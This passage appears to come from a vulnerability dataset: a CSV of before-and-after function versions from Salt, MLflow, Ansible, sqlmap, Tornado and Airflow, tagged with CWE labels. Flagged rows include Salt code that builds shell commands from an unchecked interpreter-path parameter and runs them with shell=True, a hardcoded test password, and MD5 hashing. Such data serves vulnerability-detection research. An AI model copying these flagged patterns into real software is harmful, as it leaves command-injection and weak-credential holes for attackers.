'salt/template.py',
'salt/_compat.py',
'salt/loader.py',
'salt/client',
'salt/client/__init__.py',
'salt/ext',
'salt/ext/__init__.py',
'salt/ext/six.py',
'salt/ext/ipaddress.py',
'salt/version.py',
'salt/syspaths.py',
'salt/defaults',
'salt/defaults/__init__.py',
'salt/defaults/exitcodes.py',
'salt/renderers',
'salt/renderers/__init__.py',
'salt/renderers/jinja.py',
'salt/renderers/yaml.py',
'salt/modules',
'salt/modules/__init__.py',
'salt/modules/test.py',
'salt/modules/selinux.py',
'salt/modules/cmdmod.py',
'salt/modules/saltutil.py',
'salt/minion.py',
'salt/pillar',
'salt/pillar/__init__.py',
'salt/textformat.py',
'salt/log',
'salt/log/__init__.py',
'salt/log/handlers',
'salt/log/handlers/__init__.py',
'salt/log/mixins.py',
'salt/log/setup.py',
'salt/cli',
'salt/cli/__init__.py',
'salt/cli/caller.py',
'salt/cli/daemons.py',
'salt/cli/salt.py',
'salt/cli/call.py',
'salt/fileserver',
'salt/fileserver/__init__.py',
'salt/transport',
'salt/transport/__init__.py',
'salt/transport/client.py',
'salt/exceptions.py',
'salt/grains',
'salt/grains/__init__.py',
'salt/grains/extra.py',
'salt/scripts.py',
'salt/state.py',
'salt/fileclient.py',
'salt/crypt.py',
'salt/config.py',
'salt/beacons',
'salt/beacons/__init__.py',
'salt/payload.py',
'salt/output',
'salt/output/__init__.py',
'salt/output/nested.py',
)
for py_ver, tops in _six.iteritems(tops_py_version_mapping):
for top in tops:
base = os.path.basename(top)
top_dirname = os.path.dirname(top)
if os.path.isdir(top_dirname):
os.chdir(top_dirname)
else:
# This is likely a compressed python .egg
tempdir = tempfile.mkdtemp()
egg = zipfile.ZipFile(top_dirname)
egg.extractall(tempdir)
top = os.path.join(tempdir, base)
os.chdir(tempdir)
if not os.path.isdir(top):
# top is a single file module
tfp.add(base, arcname=os.path.join('py{0}'.format(py_ver), base))
continue
for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
for name in files:
if name.endswith(('.pyc', '.pyo')):
continue
if root.startswith('salt') and os.path.join(root, name) not in min_files:
continue
tfp.add(os.path.join(root, name),
arcname=os.path.join('py{0}'.format(py_ver), root, name))
if tempdir is not None:
shutil.rmtree(tempdir)
tempdir = None
os.chdir(mindir)
tfp.add('salt-call')
with salt.utils.files.fopen(minver, 'w+') as fp_:
fp_.write(salt.version.__version__)
with salt.utils.files.fopen(pyminver, 'w+') as fp_:
fp_.write(str(sys.version_info[0]))
os.chdir(os.path.dirname(minver))
tfp.add('version')
tfp.add('.min-gen-py-version')
if start_dir:
os.chdir(start_dir)
tfp.close()
return mintar","CWE-22, CWE-78",saltstack/salt,d48230a9e67340c41d348723f3c4c4949685c34b,"def gen_min(cachedir, extra_mods='', overwrite=False, so_mods='',
python2_bin='python2', python3_bin='python3'):
'''
Generate the salt-min tarball and print the location of the tarball
Optional additional mods to include (e.g. mako) can be supplied as a comma
delimited string. Permits forcing an overwrite of the output file as well.
CLI Example:
.. code-block:: bash
salt-run min.generate
salt-run min.generate mako
salt-run min.generate mako,wempy 1
salt-run min.generate overwrite=1
'''
mindir = os.path.join(cachedir, 'min')
if not os.path.isdir(mindir):
os.makedirs(mindir)
mintar = os.path.join(mindir, 'min.tgz')
minver = os.path.join(mindir, 'version')
pyminver = os.path.join(mindir, '.min-gen-py-version')
salt_call = os.path.join(mindir, 'salt-call')
with salt.utils.files.fopen(salt_call, 'w+') as fp_:
fp_.write(SALTCALL)
if os.path.isfile(mintar):
if not overwrite:
if os.path.isfile(minver):
with salt.utils.files.fopen(minver) as fh_:
overwrite = fh_.read() != salt.version.__version__
if overwrite is False and os.path.isfile(pyminver):
with salt.utils.files.fopen(pyminver) as fh_:
overwrite = fh_.read() != str(sys.version_info[0])
else:
overwrite = True
if overwrite:
try:
os.remove(mintar)
except OSError:
pass
else:
return mintar
if _six.PY3:
# Let's check for the minimum python 2 version requirement, 2.6
py_shell_cmd = (
python2_bin + ' -c \'from __future__ import print_function; import sys; '
'print(""{0}.{1}"".format(*(sys.version_info[:2])));\''
)
cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, shell=True)
stdout, _ = cmd.communicate()
if cmd.returncode == 0:
py2_version = tuple(int(n) for n in stdout.decode('utf-8').strip().split('.'))
if py2_version < (2, 6):
# Bail!
raise salt.exceptions.SaltSystemExit(
'The minimum required python version to run salt-ssh is ""2.6"".'
'The version reported by ""{0}"" is ""{1}"". Please try ""salt-ssh '
'--python2-bin="".'.format(python2_bin,
stdout.strip())
)
elif sys.version_info < (2, 6):
# Bail! Though, how did we reached this far in the first place.
raise salt.exceptions.SaltSystemExit(
'The minimum required python version to run salt-ssh is ""2.6"".'
)
tops_py_version_mapping = {}
tops = get_tops(extra_mods=extra_mods, so_mods=so_mods)
if _six.PY2:
tops_py_version_mapping['2'] = tops
else:
tops_py_version_mapping['3'] = tops
# TODO: Consider putting known py2 and py3 compatible libs in it's own sharable directory.
# This would reduce the min size.
if _six.PY2 and sys.version_info[0] == 2:
# Get python 3 tops
py_shell_cmd = (
python3_bin + ' -c \'import sys; import json; import salt.utils.thin; '
'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
'\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
)
cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = cmd.communicate()
if cmd.returncode == 0:
try:
tops = salt.utils.json.loads(stdout)
tops_py_version_mapping['3'] = tops
except ValueError:
pass
if _six.PY3 and sys.version_info[0] == 3:
# Get python 2 tops
py_shell_cmd = (
python2_bin + ' -c \'from __future__ import print_function; '
'import sys; import json; import salt.utils.thin; '
'print(json.dumps(salt.utils.thin.get_tops(**(json.loads(sys.argv[1]))), ensure_ascii=False)); exit(0);\' '
'\'{0}\''.format(salt.utils.json.dumps({'extra_mods': extra_mods, 'so_mods': so_mods}))
)
cmd = subprocess.Popen(py_shell_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout, stderr = cmd.communicate()
if cmd.returncode == 0:
try:
tops = salt.utils.json.loads(stdout.decode('utf-8'))
tops_py_version_mapping['2'] = tops
except ValueError:
pass
tfp = tarfile.open(mintar, 'w:gz', dereference=True)
try: # cwd may not exist if it was removed but salt was run from it
start_dir = os.getcwd()
except OSError:
start_dir = None
tempdir = None
# This is the absolute minimum set of files required to run salt-call
min_files = (
'salt/__init__.py',
'salt/utils',
'salt/utils/__init__.py',
'salt/utils/validate',
'salt/utils/validate/__init__.py',
'salt/utils/validate/path.py',
'salt/utils/decorators',
'salt/utils/decorators/__init__.py',
'salt/utils/cache.py',
'salt/utils/xdg.py',
'salt/utils/odict.py',
'salt/utils/minions.py',
'salt/utils/dicttrim.py',
'salt/utils/sdb.py',
'salt/utils/migrations.py',
'salt/utils/files.py',
'salt/utils/parsers.py',
'salt/utils/locales.py',
'salt/utils/lazy.py',
'salt/utils/s3.py',
'salt/utils/dictupdate.py',
'salt/utils/verify.py',
'salt/utils/args.py',
'salt/utils/kinds.py',
'salt/utils/xmlutil.py',
'salt/utils/debug.py',
'salt/utils/jid.py',
'salt/utils/openstack',
'salt/utils/openstack/__init__.py',
'salt/utils/openstack/swift.py',
'salt/utils/async.py',
'salt/utils/process.py',
'salt/utils/jinja.py',
'salt/utils/rsax931.py',
'salt/utils/context.py',
'salt/utils/minion.py',
'salt/utils/error.py',
'salt/utils/aws.py',
'salt/utils/timed_subprocess.py',
'salt/utils/zeromq.py',
'salt/utils/schedule.py',
'salt/utils/url.py',
'salt/utils/yamlencoding.py',
'salt/utils/network.py',
'salt/utils/http.py',
'salt/utils/gzip_util.py',
'salt/utils/vt.py',
'salt/utils/templates.py',
'salt/utils/aggregation.py',
'salt/utils/yaml.py',
'salt/utils/yamldumper.py',
'salt/utils/yamlloader.py',
'salt/utils/event.py',
'salt/serializers',
'salt/serializers/__init__.py',
'salt/serializers/yamlex.py',
'salt/template.py',
'salt/_compat.py',
'salt/loader.py',
'salt/client',
'salt/client/__init__.py',
'salt/ext',
'salt/ext/__init__.py',
'salt/ext/six.py',
'salt/ext/ipaddress.py',
'salt/version.py',
'salt/syspaths.py',
'salt/defaults',
'salt/defaults/__init__.py',
'salt/defaults/exitcodes.py',
'salt/renderers',
'salt/renderers/__init__.py',
'salt/renderers/jinja.py',
'salt/renderers/yaml.py',
'salt/modules',
'salt/modules/__init__.py',
'salt/modules/test.py',
'salt/modules/selinux.py',
'salt/modules/cmdmod.py',
'salt/minion.py',
'salt/pillar',
'salt/pillar/__init__.py',
'salt/textformat.py',
'salt/log',
'salt/log/__init__.py',
'salt/log/handlers',
'salt/log/handlers/__init__.py',
'salt/log/mixins.py',
'salt/log/setup.py',
'salt/cli',
'salt/cli/__init__.py',
'salt/cli/caller.py',
'salt/cli/daemons.py',
'salt/cli/salt.py',
'salt/cli/call.py',
'salt/fileserver',
'salt/fileserver/__init__.py',
'salt/transport',
'salt/transport/__init__.py',
'salt/transport/client.py',
'salt/exceptions.py',
'salt/grains',
'salt/grains/__init__.py',
'salt/grains/extra.py',
'salt/scripts.py',
'salt/state.py',
'salt/fileclient.py',
'salt/crypt.py',
'salt/config.py',
'salt/beacons',
'salt/beacons/__init__.py',
'salt/payload.py',
'salt/output',
'salt/output/__init__.py',
'salt/output/nested.py',
)
for py_ver, tops in _six.iteritems(tops_py_version_mapping):
for top in tops:
base = os.path.basename(top)
top_dirname = os.path.dirname(top)
if os.path.isdir(top_dirname):
os.chdir(top_dirname)
else:
# This is likely a compressed python .egg
tempdir = tempfile.mkdtemp()
egg = zipfile.ZipFile(top_dirname)
egg.extractall(tempdir)
top = os.path.join(tempdir, base)
os.chdir(tempdir)
if not os.path.isdir(top):
# top is a single file module
tfp.add(base, arcname=os.path.join('py{0}'.format(py_ver), base))
continue
for root, dirs, files in salt.utils.path.os_walk(base, followlinks=True):
for name in files:
if name.endswith(('.pyc', '.pyo')):
continue
if root.startswith('salt') and os.path.join(root, name) not in min_files:
continue
tfp.add(os.path.join(root, name),
arcname=os.path.join('py{0}'.format(py_ver), root, name))
if tempdir is not None:
shutil.rmtree(tempdir)
tempdir = None
os.chdir(mindir)
tfp.add('salt-call')
with salt.utils.files.fopen(minver, 'w+') as fp_:
fp_.write(salt.version.__version__)
with salt.utils.files.fopen(pyminver, 'w+') as fp_:
fp_.write(str(sys.version_info[0]))
os.chdir(os.path.dirname(minver))
tfp.add('version')
tfp.add('.min-gen-py-version')
if start_dir:
os.chdir(start_dir)
tfp.close()
return mintar"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/db_migrations/versions/cbc13b556ace_add_v3_trace_schema_columns.py,0,"def upgrade():
# Add V3 specific columns to trace_info table
with op.batch_alter_table(""trace_info"", schema=None) as batch_op:
batch_op.add_column(sa.Column(""client_request_id"", sa.String(length=50), nullable=True))
batch_op.add_column(sa.Column(""request_preview"", sa.String(length=1000), nullable=True))
batch_op.add_column(sa.Column(""response_preview"", sa.String(length=1000), nullable=True))",,mlflow/mlflow,e91b634d760d5445b3005466394f5b00cc47e744,"def upgrade():
# Add V3 specific columns to trace_info table
with op.batch_alter_table(""trace_info"", schema=None) as batch_op:
batch_op.add_column(sa.Column(""client_request_id"", sa.String(length=50), nullable=True))
batch_op.add_column(sa.Column(""request_preview"", sa.String(length=10000), nullable=True))
batch_op.add_column(sa.Column(""response_preview"", sa.String(length=10000), nullable=True))"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigip_snmp.py,1,"def test_update_agent_status_traps(self, *args):
set_module_args(dict(
agent_status_traps='enabled',
password='passsword',
server='localhost',
user='admin'
))
# Configure the parameters that would be returned by querying the
# remote device
current = Parameters(
params=dict(
agent_status_traps='disabled'
)
)
module = AnsibleModule(
argument_spec=self.spec.argument_spec,
supports_check_mode=self.spec.supports_check_mode
)
mm = ModuleManager(module=module)
# Override methods to force specific logic in the module to happen
mm.update_on_device = Mock(return_value=True)
mm.read_current_from_device = Mock(return_value=current)
results = mm.exec_module()
assert results['changed'] is True
assert results['agent_status_traps'] == 'enabled'","CWE-259, CWE-703",ansible/ansible,ca8982f96cec32c771b8c988a93f1481bc5e7b22,"def test_update_agent_status_traps(self, *args):
set_module_args(dict(
agent_status_traps='enabled',
password='passsword',
server='localhost',
user='admin'
))
# Configure the parameters that would be returned by querying the
# remote device
current = Parameters(
dict(
agent_status_traps='disabled'
)
)
module = AnsibleModule(
argument_spec=self.spec.argument_spec,
supports_check_mode=self.spec.supports_check_mode
)
mm = ModuleManager(module=module)
# Override methods to force specific logic in the module to happen
mm.update_on_device = Mock(return_value=True)
mm.read_current_from_device = Mock(return_value=current)
results = mm.exec_module()
assert results['changed'] is True
assert results['agent_status_traps'] == 'enabled'"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/store/artifact/local_artifact_repo.py,0,"def download_artifacts(self, artifact_path, dst_path=None):
""""""
Artifacts tracked by ``LocalArtifactRepository`` already exist on the local filesystem.
If ``dst_path`` is ``None``, the absolute filesystem path of the specified artifact is
returned. If ``dst_path`` is not ``None``, the local artifact is copied to ``dst_path``.
:param artifact_path: Relative source path to the desired artifacts.
:param dst_path: Absolute path of the local filesystem destination directory to which to
download the specified artifacts. This directory must already exist. If
unspecified, the absolute path of the local artifact will be returned.
:return: Absolute path of the local filesystem location containing the desired artifacts.
""""""
if dst_path:
return super().download_artifacts(artifact_path, dst_path)
# NOTE: The artifact_path is expected to be in posix format.
# Posix paths work fine on windows but just in case we normalize it here.
local_artifact_path = os.path.join(self.artifact_dir, os.path.normpath(artifact_path))
if not os.path.exists(local_artifact_path):
raise OSError(f""No such file or directory: '{local_artifact_path}'"")
return os.path.abspath(local_artifact_path)",,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def download_artifacts(self, artifact_path, dst_path=None):
""""""
Artifacts tracked by ``LocalArtifactRepository`` already exist on the local filesystem.
If ``dst_path`` is ``None``, the absolute filesystem path of the specified artifact is
returned. If ``dst_path`` is not ``None``, the local artifact is copied to ``dst_path``.
:param artifact_path: Relative source path to the desired artifacts.
:param dst_path: Absolute path of the local filesystem destination directory to which to
download the specified artifacts. This directory must already exist. If
unspecified, the absolute path of the local artifact will be returned.
:return: Absolute path of the local filesystem location containing the desired artifacts.
""""""
if dst_path:
return super().download_artifacts(artifact_path, dst_path)
# NOTE: The artifact_path is expected to be in posix format.
# Posix paths work fine on windows but just in case we normalize it here.
local_artifact_path = os.path.join(self.artifact_dir, os.path.normpath(artifact_path))
if not os.path.exists(local_artifact_path):
raise OSError(""No such file or directory: '{}'"".format(local_artifact_path))
return os.path.abspath(local_artifact_path)"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_pyfunc_schema_enforcement.py,1,"def test_pyfunc_model_input_example_with_params(sample_params_basic, param_schema_basic):
class MyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input, params=None):
if isinstance(model_input, pd.DataFrame):
return model_input.values.tolist()[0]
if isinstance(model_input, list):
return model_input
return [model_input]
with mlflow.start_run():
model_info = mlflow.pyfunc.log_model(
python_model=MyModel(),
artifact_path=""test_model"",
input_example=([""input1"", ""input2"", ""input3""], sample_params_basic),
)
# Test _infer_signature_from_input_example
assert model_info.signature.inputs == Schema([ColSpec(DataType.string)])
assert model_info.signature.outputs == Schema([ColSpec(DataType.string)])
assert model_info.signature.params == param_schema_basic
# Test predict
loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
assert loaded_model.predict([""input1""]) == [""input1""]
# Test model serving
response = pyfunc_serve_and_score_model(
model_info.model_uri,
data=json.dumps({""inputs"": [""input1""]}),
content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
extra_args=[""--env-manager"", ""local""],
)
assert response.status_code == 200, response.content
result = json.loads(response.content.decode(""utf-8""))[""predictions""]
assert result == [""input1""]",CWE-703,mlflow/mlflow,a450f86d1f30f7f0abffbd8d2972a422b3b0ef90,"def test_pyfunc_model_input_example_with_params(sample_params_basic, param_schema_basic):
class MyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input, params=None):
if isinstance(model_input, pd.DataFrame):
return model_input.values.tolist()[0]
if isinstance(model_input, list):
return model_input
return [model_input]
with mlflow.start_run():
model_info = mlflow.pyfunc.log_model(
python_model=MyModel(),
artifact_path=""test_model"",
input_example=([""input1""], sample_params_basic),
)
# Test _infer_signature_from_input_example
# TODO: add this check back once we updated
# _infer_signature_from_input_example for List[str]
# assert model_info.signature.inputs == Schema([ColSpec(DataType.string)])
assert model_info.signature.outputs == Schema([ColSpec(DataType.string)])
assert model_info.signature.params == param_schema_basic
# Test predict
loaded_model = mlflow.pyfunc.load_model(model_info.model_uri)
assert loaded_model.predict([""input1""]) == [""input1""]
# Test model serving
response = pyfunc_serve_and_score_model(
model_info.model_uri,
data=json.dumps({""inputs"": [""input1""]}),
content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
extra_args=[""--env-manager"", ""local""],
)
assert response.status_code == 200, response.content
result = json.loads(response.content.decode(""utf-8""))[""predictions""]
assert result == [""input1""]"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/postgresql/fingerprint.py,0,"def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != ""public"":
conf.db = ""public""
warnMsg = ""on %s it is possible to enumerate "" % DBMS.PGSQL
warnMsg += ""only on the current schema and/or system databases. ""
warnMsg += ""sqlmap is going to use 'public' schema as a ""
warnMsg += ""database name""
logger.warn(warnMsg)",,sqlmapproject/sqlmap,6c49af090c4ff68a47a65fff91d385639ead7f33,"def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != ""public"":
conf.db = ""public""
warnMsg = ""on %s it is only possible to enumerate "" % DBMS.PGSQL
warnMsg += ""on the current schema and on system databases, ""
warnMsg += ""sqlmap is going to use 'public' schema as ""
warnMsg += ""database name""
logger.warn(warnMsg)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/ioloop.py,0,"def set_blocking_signal_threshold(self, seconds, action):
if not hasattr(signal, ""setitimer""):
gen_log.error(""set_blocking_signal_threshold requires a signal module ""
""with the setitimer method"")
return
self._blocking_signal_threshold = seconds
if seconds is not None:
signal.signal(signal.SIGALRM,
action if action is not None else signal.SIG_DFL)",CWE-Unknown,tornadoweb/tornado,7bb053594672b47ce4dea259aa29ea12e4d05918,"def set_blocking_signal_threshold(self, seconds, action):
if not hasattr(signal, ""setitimer""):
gen_log.error(""set_blocking_signal_threshold requires a signal module ""
""with the setitimer method"")
return
self._blocking_signal_threshold = seconds
if seconds is not None:
signal.signal(signal.SIGALRM,
action if action is not None else signal.SIG_DFL)"
,UNKNOWN,UNKNOWN,salt/fileserver/gitfs.py,1,"def init():
'''
Return the git repo object for this session
'''
bp_ = os.path.join(__opts__['cachedir'], 'gitfs')
provider = _get_provider()
# ignore git ssl verification if requested
ssl_verify = 'true' if __opts__.get('gitfs_ssl_verify', True) else 'false'
new_remote = False
repos = []
gitfs_remotes = salt.utils.repack_dictlist(__opts__['gitfs_remotes'])
for repo_uri, remote_conf_params in gitfs_remotes.iteritems():
# Check repo_uri against the list of valid protocols
if provider == 'pygit2':
transport, _, uri = repo_uri.partition('://')
if not uri:
log.error('Invalid gitfs remote {0!r}'.format(repo_uri))
continue
elif transport.lower() not in PYGIT2_TRANSPORTS:
log.error(
'Invalid transport {0!r} in gitfs remote {1!r}. Valid '
'transports for pygit2 provider: {2}'
.format(transport, repo_uri, ', '.join(PYGIT2_TRANSPORTS))
)
continue
# Validate and compile per-remote configuration parameters, if present
remote_conf = dict([(x, None) for x in PER_REMOTE_PARAMS])
if remote_conf_params is not None:
remote_conf_params = salt.utils.repack_dictlist(remote_conf_params)
if not remote_conf_params:
log.error(
'Invalid per-remote configuration for remote {0!r}'
.format(repo_uri)
)
else:
for param, value in remote_conf_params.iteritems():
if param in PER_REMOTE_PARAMS:
remote_conf[param] = value
else:
log.error(
'Invalid configuration parameter {0!r} in remote '
'{1!r}. Valid parameters are: {2}. See the '
'documentation for further information.'
.format(
param, repo_uri, ', '.join(PER_REMOTE_PARAMS)
)
)
try:
remote_conf['mountpoint'] = _strip_proto(remote_conf['mountpoint'])
except TypeError:
# mountpoint not specified
pass
repo_hash = hashlib.md5(repo_uri).hexdigest()
rp_ = os.path.join(bp_, repo_hash)
if not os.path.isdir(rp_):
os.makedirs(rp_)
try:
if provider == 'gitpython':
repo, new = _init_gitpython(rp_, repo_uri, ssl_verify)
if new:
new_remote = True
elif provider == 'pygit2':
repo, new = _init_pygit2(rp_, repo_uri, ssl_verify)
if new:
new_remote = True
elif provider == 'dulwich':
repo, new = _init_dulwich(rp_, repo_uri, ssl_verify)
if new:
new_remote = True
else:
# Should never get here because the provider has been verified
# in __virtual__(). Log an error and return an empty list.
log.error(
'Unexpected gitfs_provider {0!r}. This is probably a bug.'
.format(provider)
)
return []
if repo is not None:
remote_conf.update({
'repo': repo,
'uri': repo_uri,
'hash': repo_hash,
'cachedir': rp_
})
repos.append(remote_conf)
except Exception as exc:
msg = ('Exception caught while initializing the repo for gitfs: '
'{0}.'.format(exc))
if provider == 'gitpython':
msg += ' Perhaps git is not available.'
log.error(msg)
continue
if new_remote:
remote_map = os.path.join(__opts__['cachedir'], 'gitfs/remote_map.txt')
try:
with salt.utils.fopen(remote_map, 'w+') as fp_:
timestamp = datetime.now().strftime('%d %b %Y %H:%M:%S.%f')
fp_.write('# gitfs_remote map as of {0}\n'.format(timestamp))
for remote_conf in repos:
fp_.write(
'{0} = {1}\n'.format(
remote_conf['hash'], remote_conf['uri']
)
)
except OSError:
pass
else:
log.info('Wrote new gitfs_remote map to {0}'.format(remote_map))
return repos",CWE-327,saltstack/salt,1e07c99abdbe1d859832f45a0c3795e1853fd4cb,"def init():
'''
Return the git repo object for this session
'''
bp_ = os.path.join(__opts__['cachedir'], 'gitfs')
provider = _get_provider()
# ignore git ssl verification if requested
ssl_verify = 'true' if __opts__.get('gitfs_ssl_verify', True) else 'false'
new_remote = False
repos = []
gitfs_remotes = salt.utils.repack_dictlist(__opts__['gitfs_remotes'])
for repo_uri, remote_conf_params in gitfs_remotes.iteritems():
# Check repo_uri against the list of valid protocols
if provider == 'pygit2':
transport, _, uri = repo_uri.partition('://')
if not uri:
log.error('Invalid gitfs remote {0!r}'.format(repo_uri))
continue
elif transport.lower() not in PYGIT2_TRANSPORTS:
log.error(
'Invalid transport {0!r} in gitfs remote {1!r}. Valid '
'transports for pygit2 provider: {2}'
.format(transport, repo_uri, ', '.join(PYGIT2_TRANSPORTS))
)
continue
# Validate and compile per-remote configuration parameters, if present
remote_conf = dict([(x, None) for x in PER_REMOTE_PARAMS])
if remote_conf_params is not None:
remote_conf_params = salt.utils.repack_dictlist(remote_conf_params)
if not remote_conf_params:
log.error(
'Invalid per-remote configuration for remote {0!r}'
.format(repo_uri)
)
else:
for param, value in remote_conf_params.iteritems():
if param in PER_REMOTE_PARAMS:
remote_conf[param] = value
else:
log.error(
'Invalid configuration parameter {0!r} in remote '
'{1!r}. Valid parameters are: {2}. See the '
'documentation for further information.'
.format(
param, repo_uri, ', '.join(PER_REMOTE_PARAMS)
)
)
try:
remote_conf['mountpoint'] = _strip_proto(remote_conf['mountpoint'])
except TypeError:
# mountpoint not specified
pass
repo_hash = hashlib.md5(repo_uri).hexdigest()
rp_ = os.path.join(bp_, repo_hash)
if not os.path.isdir(rp_):
os.makedirs(rp_)
try:
if provider == 'gitpython':
repo, new = _init_gitpython(rp_, repo_uri, ssl_verify)
if new:
new_remote = True
elif provider == 'pygit2':
repo, new = _init_pygit2(rp_, repo_uri, ssl_verify)
if new:
new_remote = True
elif provider == 'dulwich':
repo, new = _init_dulwich(rp_, repo_uri, ssl_verify)
if new:
new_remote = True
else:
# Should never get here because the provider has been verified
# in __virtual__(). Log an error and return an empty list.
log.error(
'Unexpected gitfs_provider {0!r}. This is probably a bug.'
.format(provider)
)
return []
if repo is not None:
remote_conf.update({
'repo': repo, 'uri': repo_uri, 'hash': repo_hash
})
repos.append(remote_conf)
except Exception as exc:
msg = ('Exception caught while initializing the repo for gitfs: '
'{0}.'.format(exc))
if provider == 'gitpython':
msg += ' Perhaps git is not available.'
log.error(msg)
continue
if new_remote:
remote_map = os.path.join(__opts__['cachedir'], 'gitfs/remote_map.txt')
try:
with salt.utils.fopen(remote_map, 'w+') as fp_:
timestamp = datetime.now().strftime('%d %b %Y %H:%M:%S.%f')
fp_.write('# gitfs_remote map as of {0}\n'.format(timestamp))
for remote_conf in repos:
fp_.write(
'{0} = {1}\n'.format(
remote_conf['hash'], remote_conf['uri']
)
)
except OSError:
pass
else:
log.info('Wrote new gitfs_remote map to {0}'.format(remote_map))
return repos"
,UNKNOWN,UNKNOWN,airflow/providers/microsoft/azure/hooks/wasb.py,1,"def get_ui_field_behaviour() -> dict[str, Any]:
""""""Returns custom field behaviour.""""""
return {
""hidden_fields"": [""schema"", ""port""],
""relabeling"": {
""login"": ""Blob Storage Login (optional)"",
""password"": ""Blob Storage Key (optional)"",
""host"": ""Account URL (Active Directory Auth)"",
},
""placeholders"": {
""login"": ""account name"",
""password"": ""secret"",
""host"": ""account url"",
""connection_string"": ""connection string auth"",
""tenant_id"": ""tenant"",
""shared_access_key"": ""shared access key"",
""sas_token"": ""account url or token"",
""extra"": ""additional options for use with ClientSecretCredential or DefaultAzureCredential"",
},
}",CWE-259,apache/airflow,df74553ec484ad729fcd75ccbc1f5f18e7f34dc8,"def get_ui_field_behaviour() -> dict[str, Any]:
""""""Returns custom field behaviour.""""""
return {
""hidden_fields"": [""schema"", ""port""],
""relabeling"": {
""login"": ""Blob Storage Login (optional)"",
""password"": ""Blob Storage Key (optional)"",
""host"": ""Account Name (Active Directory Auth)"",
},
""placeholders"": {
""login"": ""account name"",
""password"": ""secret"",
""host"": ""account url"",
""connection_string"": ""connection string auth"",
""tenant_id"": ""tenant"",
""shared_access_key"": ""shared access key"",
""sas_token"": ""account url or token"",
""extra"": ""additional options for use with ClientSecretCredential or DefaultAzureCredential"",
},
}"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/operators/test_cloud_sql.py,1,"def test_instance_create(self, mock_hook, _check_if_instance_exists):
_check_if_instance_exists.return_value = False
mock_hook.return_value.create_instance.return_value = True
op = CloudSQLCreateInstanceOperator(
project_id=PROJECT_ID, instance=INSTANCE_NAME, body=CREATE_BODY, task_id=""id""
)
op.execute(context={'task_instance': mock.Mock()})
mock_hook.assert_called_once_with(
api_version=""v1beta4"",
gcp_conn_id=""google_cloud_default"",
impersonation_chain=None,
)
mock_hook.return_value.create_instance.assert_called_once_with(
project_id=PROJECT_ID, body=CREATE_BODY
)",CWE-703,apache/airflow,37681bca0081dd228ac4047c17631867bba7a66f,"def test_instance_create(self, mock_hook, _check_if_instance_exists):
_check_if_instance_exists.return_value = False
mock_hook.return_value.create_instance.return_value = True
op = CloudSQLCreateInstanceOperator(
project_id=PROJECT_ID, instance=INSTANCE_NAME, body=CREATE_BODY, task_id=""id""
)
result = op.execute(
context={'task_instance': mock.Mock()} # pylint: disable=assignment-from-no-return
)
mock_hook.assert_called_once_with(
api_version=""v1beta4"",
gcp_conn_id=""google_cloud_default"",
impersonation_chain=None,
)
mock_hook.return_value.create_instance.assert_called_once_with(
project_id=PROJECT_ID, body=CREATE_BODY
)
assert result is None"
,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,1,"def test_search_registered_models(self):
# create some registered models
prefix = ""test_for_search_""
names = [prefix + name for name in [""RM1"", ""RM2"", ""RM3"", ""RM4"", ""RM4A"", ""RM4ab""]]
for name in names:
self._rm_maker(name)
# search with no filter should return all registered models
rms, _ = self._search_registered_models(None)
assert rms == names
# equality search using name should return exactly the 1 name
rms, _ = self._search_registered_models(""name='{}'"".format(names[0]))
assert rms == [names[0]]
# equality search using name that is not valid should return nothing
rms, _ = self._search_registered_models(""name='{}'"".format(names[0] + ""cats""))
assert rms == []
# case-sensitive prefix search using LIKE should return all the RMs
rms, _ = self._search_registered_models(f""name LIKE '{prefix}%'"")
assert rms == names
# case-sensitive prefix search using LIKE with surrounding % should return all the RMs
rms, _ = self._search_registered_models(""name LIKE '%RM%'"")
assert rms == names
# case-sensitive prefix search using LIKE with surrounding % should return all the RMs
# _e% matches test_for_search_ , so all RMs should match
rms, _ = self._search_registered_models(""name LIKE '_e%'"")
assert rms == names
# case-sensitive prefix search using LIKE should return just rm4
rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix + ""RM4A""))
assert rms == [names[4]]
# case-sensitive prefix search using LIKE should return no models if no match
rms, _ = self._search_registered_models(""name LIKE '{}%'"".format(prefix + ""cats""))
assert rms == []
# confirm that LIKE is not case-sensitive
rms, _ = self._search_registered_models(""name lIkE '%blah%'"")
assert rms == []
rms, _ = self._search_registered_models(""name like '{}%'"".format(prefix + ""RM4A""))
assert rms == [names[4]]
# case-insensitive prefix search using ILIKE should return both rm5 and rm6
rms, _ = self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""RM4A""))
assert rms == names[4:]
# case-insensitive postfix search with ILIKE
rms, _ = self._search_registered_models(""name ILIKE '%RM4a%'"")
assert rms == names[4:]
# case-insensitive prefix search using ILIKE should return both rm5 and rm6
rms, _ = self._search_registered_models(""name ILIKE '{}%'"".format(prefix + ""cats""))
assert rms == []
# confirm that ILIKE is not case-sensitive
rms, _ = self._search_registered_models(""name iLike '%blah%'"")
assert rms == []
# confirm that ILIKE works for empty query
